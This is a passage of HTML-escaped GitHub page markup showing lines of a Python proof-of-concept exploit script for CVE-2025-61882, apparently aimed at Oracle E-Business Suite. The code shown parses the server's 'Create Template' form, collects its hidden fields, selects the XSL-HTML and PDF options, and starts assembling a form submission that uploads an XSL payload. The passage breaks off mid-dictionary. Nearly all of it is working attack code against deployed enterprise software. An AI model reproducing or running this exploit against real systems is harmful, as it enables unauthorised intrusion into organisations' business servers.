js-file-line\&quot;>                </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L186\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;186\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC186\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;Create Template&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span> <span class=pl-c1>and</span> <span class=pl-s>&amp;quot;AttachData_oafileUpload&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L187\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;187\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC187\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span> </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L188\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;188\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC188\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L189\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;189\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC189\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Failed. Still on Search page or Error.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L190\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;190\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC190\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s1>r</span>.<span class=pl-c1>text</span>[:<span class=pl-c1>500</span>])</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L191\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;191\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC191\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L192\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;192\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC192\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L193\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;193\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC193\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-v>Exception</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L194\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;194\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC194\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;Error: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L195\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;195\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC195\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L196\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;196\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC196\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_3</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html_content</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L197\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;197\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC197\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 3: Parsing Create Template Page &amp;amp; Uploading XSL Payload...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L198\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;198\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC198\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>soup</span> <span class=pl-c1>=</span> <span class=pl-en>BeautifulSoup</span>(<span class=pl-s1>html_content</span>, <span class=pl-s>&amp;#39;html.parser&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L199\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;199\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC199\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L200\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;200\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC200\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>form</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;form&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultFormName&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L201\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;201\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC201\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>form</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L202\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;202\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC202\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Cannot find form DefaultFormName&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L203\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;203\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC203\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L204\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;204\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC204\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L205\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;205\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC205\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>action_url</span> <span class=pl-c1>=</span> <span class=pl-s1>form</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;action&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L206\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;206\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC206\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>action_url</span>.<span class=pl-c1>startswith</span>(<span class=pl-s>&amp;quot;/&amp;quot;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L207\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;207\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC207\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span><span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>action_url</span><span class=pl-kos>}</span></span>&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L208\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;208\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC208\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L209\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;209\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC209\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s1>action_url</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L210\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;210\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC210\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L211\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;211\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC211\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span> <span class=pl-c1>=</span> {}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L212\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;212\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC212\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>for</span> <span class=pl-s1>tag</span> <span class=pl-c1>in</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;input&amp;#39;</span>, <span class=pl-s1>type</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;hidden&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L213\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;213\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC213\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>name</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;name&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L214\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;214\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC214\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>value</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L215\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;215\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC215\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>name</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L216\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;216\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC216\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s1>name</span>] <span class=pl-c1>=</span> <span class=pl-s1>value</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L217\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;217\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC217\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L218\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;218\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC218\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>temp_type_val</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L219\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;219\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC219\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>temp_type_select</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;select&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;TempType&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L220\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;220\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC220\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>temp_type_select</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L221\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;221\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC221\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>for</span> <span class=pl-s1>option</span> <span class=pl-c1>in</span> <span class=pl-s1>temp_type_select</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L222\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;222\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC222\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s>&amp;quot;XSL-HTML&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>option</span>.<span class=pl-c1>text</span>: </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L223\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;223\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC223\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>temp_type_val</span> <span class=pl-c1>=</span> <span class=pl-s1>option</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L224\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;224\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC224\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>break</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L225\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;225\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC225\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L226\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;226\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC226\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>temp_type_val</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L227\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;227\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC227\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Warning: Could not find XSL-HTML option in TempType.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L228\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;228\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC228\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L229\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;229\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC229\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>def_out_val</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L230\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;230\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC230\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>def_out_select</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;select&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultOutputType&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L231\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;231\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC231\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>def_out_select</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L232\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;232\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC232\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>         <span class=pl-k>for</span> <span class=pl-s1>option</span> <span class=pl-c1>in</span> <span class=pl-s1>def_out_select</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L233\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;233\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC233\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s>&amp;quot;PDF&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>option</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L234\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;234\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC234\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>def_out_val</span> <span class=pl-c1>=</span> <span class=pl-s1>option</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L235\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;235\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC235\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>break</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L236\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;236\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC236\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L237\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;237\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC237\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>apply_btn_id</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;ApplyButton&amp;quot;</span> </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L238\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;238\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC238\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>apply_btn</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;button&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;ApplyButton&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L239\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;239\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC239\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>apply_btn</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L240\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;240\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC240\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>onclick_text</span> <span class=pl-c1>=</span> <span class=pl-s1>apply_btn</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;onclick&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L241\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;241\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC241\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>match</span> <span class=pl-c1>=</span> <span class=pl-s1>re</span>.<span class=pl-c1>search</span>(<span class=pl-s>r&amp;quot;&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;:&amp;#39;([^&amp;#39;]+)&amp;#39;&amp;quot;</span>, <span class=pl-s1>onclick_text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L242\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;242\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC242\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>match</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L243\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;243\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC243\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>apply_btn_id</span> <span class=pl-c1>=</span> <span class=pl-s1>match</span>.<span class=pl-c1>group</span>(<span class=pl-c1>1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L244\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;244\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC244\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-c># print(f&amp;quot;[+] Found Apply Button ID: {apply_btn_id}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L245\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;245\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC245\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L246\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;246\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC246\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span>.<span class=pl-c1>update</span>({</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L247\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;247\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC247\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;TempName&amp;#39;</span>: <span class=pl-c1>TEMPLATE_NAME</span>,   </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L248\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;248\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC248\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;TemplateCode&amp;#39;</span>: <span class=pl-c1>TEMPLATE_NAME</span>,      </td>\n        </tr>\n        <tr>\n          <td 